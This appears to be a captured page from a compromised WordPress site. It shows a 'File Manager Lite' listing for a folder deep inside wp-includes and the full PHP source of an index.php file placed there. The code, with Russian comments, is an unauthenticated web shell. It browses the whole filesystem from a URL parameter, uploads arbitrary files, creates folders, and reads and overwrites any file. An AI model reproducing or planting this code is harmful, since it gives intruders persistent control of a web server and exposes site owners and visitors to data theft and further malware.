File Manager Lite
Dir:
/home/atomylvb/jarangomd.com/wp-includes/rest-api/fields/interactivity-api
Upload
[..]
.htaccess (220 B)
Edit
Rename
Del
error_log (1.63 KB)
Edit
Rename
Del
index.php (6.96 KB)
Edit
Rename
Del
Edit: index.php
<?php // НЕ ограничиваемся __DIR__ - можно выходить выше $root = '/'; // корень файловой системы (или можно указать конкретную папку, например '/home/user/') // Текущая директория (можно выходить куда угодно) $currentDir = isset($_GET['dir']) ? realpath($_GET['dir']) : __DIR__; // Если путь не существует - остаемся в текущей папке if ($currentDir === false) { $currentDir = __DIR__; } // === СОЗДАНИЕ ПАПКИ === $message = ''; if (isset($_POST['create_folder'])) { $folderName = trim($_POST['folder_name']); if (!empty($folderName)) { // Защита от попыток выйти за пределы директории $folderName = basename($folderName); $newFolderPath = $currentDir . '/' . $folderName; if (!file_exists($newFolderPath)) { if (mkdir($newFolderPath)) { $message = "<p style='color:green;'>✅ Папка \"$folderName\" успешно создана!</p>"; } else { $message = "<p style='color:red;'>❌ Ошибка: не удалось создать папку \"$folderName\"</p>"; } } else { $message = "<p style='color:red;'>❌ Папка \"$folderName\" уже существует!</p>"; } } else { $message = "<p style='color:red;'>❌ Введите название папки!</p>"; } } // === ЗАГРУЗКА ФАЙЛА === $uploadMessage = ''; if (isset($_FILES['uploaded_file']) && $_FILES['uploaded_file']['error'] === UPLOAD_ERR_OK) { $fileName = basename($_FILES['uploaded_file']['name']); $targetPath = $currentDir . '/' . $fileName; // Проверка, не существует ли уже файл if (file_exists($targetPath)) { $uploadMessage = "<p style='color:red;'>❌ Файл \"$fileName\" уже существует!</p>"; } else { // Перемещаем загруженный файл в целевую директорию if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $targetPath)) { $uploadMessage = "<p style='color:green;'>✅ Файл \"$fileName\" успешно загружен!</p>"; } else { $uploadMessage = "<p style='color:red;'>❌ Ошибка при загрузке файла \"$fileName\"</p>"; } } } elseif (isset($_FILES['uploaded_file']) && $_FILES['uploaded_file']['error'] !== UPLOAD_ERR_NO_FILE) { // Обработка ошибок загрузки $errorMessages = [ UPLOAD_ERR_INI_SIZE => 'Файл превышает максимальный размер (upload_max_filesize в php.ini)', UPLOAD_ERR_FORM_SIZE => 'Файл превышает максимальный размер формы', UPLOAD_ERR_PARTIAL => 'Файл был загружен только частично', UPLOAD_ERR_NO_FILE => 'Файл не был загружен', UPLOAD_ERR_NO_TMP_DIR => 'Отсутствует временная папка', UPLOAD_ERR_CANT_WRITE => 'Не удалось записать файл на диск', UPLOAD_ERR_EXTENSION => 'Загрузка файла остановлена расширением PHP' ]; $errorCode = $_FILES['uploaded_file']['error']; $errorMsg = isset($errorMessages[$errorCode]) ? $errorMessages[$errorCode] : 'Неизвестная ошибка'; $uploadMessage = "<p style='color:red;'>❌ Ошибка загрузки: $errorMsg</p>"; } $files = scandir($currentDir); // Редактирование файла if (isset($_GET['file'])) { $file = basename($_GET['file']); $filepath = $currentDir . '/' . $file; if (file_exists($filepath) && is_file($filepath)) { if (isset($_POST['content'])) { file_put_contents($filepath, $_POST['content']); echo "<p style='color:green;'>✅ Файл сохранен!</p>"; } $content = file_get_contents($filepath); echo "<h2>Редактирование файла: $file</h2>"; echo "<p><strong>Путь:</strong> " . htmlspecialchars($filepath) . "</p>"; echo '<form method="post">'; echo '<textarea name="content" rows="20" cols="100">' . htmlspecialchars($content) . '</textarea><br>'; echo '<button type="submit">Сохранить</button>'; echo '</form>'; echo '<p><a href="?dir=' . urlencode($currentDir) . '">← Назад к списку файлов</a></p>'; exit; } else { echo "<p style='color:red;'>❌ Файл не найден</p>"; } } // Отображаем текущий путь echo "<h2>Текущая директория:</h2>"; echo "<p><code>" . htmlspecialchars($currentDir) . "</code></p>"; // Кнопка "Наверх" - на уровень выше $parentDir = dirname($currentDir); if ($parentDir !== $currentDir) { // не корень echo '<p><a href="?dir=' . urlencode($parentDir) . '">⬆ Подняться выше (на уровень вверх)</a></p>'; } // === ФОРМА СОЗДАНИЯ ПАПКИ === echo $message; echo "<hr>"; echo "<h3>📁 Создать новую папку</h3>"; echo '<form method="post" style="margin-bottom: 20px;">'; echo '<input type="text" name="folder_name" placeholder="Название папки" required style="padding: 5px; width: 200px;">'; echo '<button type="submit" name="create_folder" style="margin-left: 10px; padding: 5px 15px;">Создать</button>'; echo '</form>'; // === ФОРМА ЗАГРУЗКИ ФАЙЛА === echo $uploadMessage; echo "<h3>📤 Загрузить файл</h3>"; echo '<form method="post" enctype="multipart/form-data" style="margin-bottom: 20px;">'; echo '<input type="file" name="uploaded_file" required style="padding: 5px;">'; echo '<button type="submit" style="margin-left: 10px; padding: 5px 15px;">Загрузить</button>'; echo '</form>'; echo "<hr>"; // Список файлов и папок echo "<h3>📂 Содержимое директории:</h3>"; echo "<ul>"; foreach ($files as $file) { if ($file !== '.' && $file !== '..') { $fullPath = $currentDir . '/' . $file; if (is_dir($fullPath)) { // Папка echo '<li>📁 <a href="?dir=' . urlencode($fullPath) . '">' . htmlspecialchars($file) . '</a></li>'; } else { // Файл echo '<li>📄 <a href="?file=' . urlencode($file) . '&dir=' . urlencode($currentDir) . '">' . htmlspecialchars($file) . '</a></li>'; } } } echo "</ul>"; // Доп. информация echo "<hr>"; echo "<p><small>📍 Текущий скрипт находится в: " . htmlspecialchars(__DIR__) . "</small></p>"; ?>
Simpan